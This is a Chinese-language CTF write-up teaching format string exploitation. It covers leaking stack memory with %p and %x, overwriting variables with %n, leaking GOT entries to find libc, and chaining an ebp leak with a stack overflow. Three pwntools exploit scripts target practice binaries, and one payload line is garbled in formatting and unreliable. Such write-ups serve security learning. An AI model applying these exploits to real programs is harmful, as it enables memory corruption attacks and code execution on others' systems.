大致总结一下格式化字符串漏洞。
常见的有格式化字符串函数有:
输入:sanf
输出:printf,fprintf,vprintf,vfprintf,sprintf,snprintf,vsnprintf,setproctitle,syslog
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
1.泄露栈内存
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
利用 %s 来获取变量所对应地址的内容,只不过有零截断。
利用 %order$x 来获取指定参数的值。同样把x改为s来获取指定参数对应地址的内容。
例如攻防世界的cgfsb
拿到程序后:
开了canary和nx保护
这里我们可以发现printf(&s)这一个格式化字符串漏洞。接下来往下看,我们只需要pwnme==8,便可以拿到flag,这时我们可以利用格式化字符串漏洞来修改pwnme的值。这时候我们需要用到另一个格式化字符串%n,它的作用可以将之前打印出来的字符个数,赋值给一个变量。
因为printf(&s)可以直接显示内容,我们可以利用它,来获取偏移,可以看出0x61616161便是aaaa,可以确定偏移为10。
exp如下:
from pwn import*
p=remote(“220.249.52.133”,53590)
pwnme=0x804a068
payload=p32(pwnme)+‘aaaa’+"%10 n " 或 p a y l o a d = p 32 ( p w n m e ) + " n"或payload=p32(pwnme)+"%4c%10 n"或payload=p32(pwnme)+"n"
(为了确保pwnme==8)
p.recvuntil(“please tell me your name:”)
p.sendline(“hwb”)
p.recvuntil(“leave your message please:”)
p.sendline(payload)
p.interactive()
2.泄露任意地址内存
假如栈上没有能获取的信息,我们还可以泄露got的内容,
#include
int main(){
char a[100];
scanf("%s",a);
printf(a);
return 0;
}
程序部分
仅开了nx保护。
我们可以发现我们输入的字符串aaaa的地址为0xffffcffc,这时我们可以用fmtarg来判断偏移。
可以知道偏移为7。
此时我们可以写脚本来获得got地址。
exp如下:
from pwn import *
p=process(’./abc’)
elf=ELF(’./abc’)
scanf_got=elf.got[’__isoc99_scanf’]
p.sendline(p32(scanf_got)+’%7$s’)
print hex(u32(p.recv()[4:8]))
p.interactive()
打印出来的便是真实地址。之后便是通过真实地址找到libc的版本等一系列的操作。
再附加一题包含格式化字符串的题,dasctf7月赛的虚假的签到题。
查保护
有格式化字符串漏洞和栈溢出漏洞,当时比赛时,我想到用栈溢出漏洞,返回backdoor就成功,但是发现行不通。
赛后才发现自己太年轻了。
main函数处的汇编
这道题我们可以通过格式化字符串漏洞来泄露ebp,然后通过栈溢出漏洞来返回backdoor。
esp为ecx-4,ecx的值为ebp-4,所以esp为[ebp-4]-4。
ebp为0xffffd068,我们输入的字符串与ebp偏移为2。
0xffffd068为ebp,0xffffd064为ebp-4,让0xffffd040作为返回地址,即让ebp-4放上0xffffd044,这样ecx即为0xffffd044,则esp为0xffffd040
0xffffd064-0xffffd044=20
偏移为20
exp如下
from pwn import*
p=process(’./qiandao’)
p.recv()
p.sendline(’%2$x’)
addr=p.recv(8)
addr=int(addr,16)
p.recv()
payload=‘a’*0x20+p32(0x0804857D)+p32(addr-4)
p.sendline(payload)
p.interactive()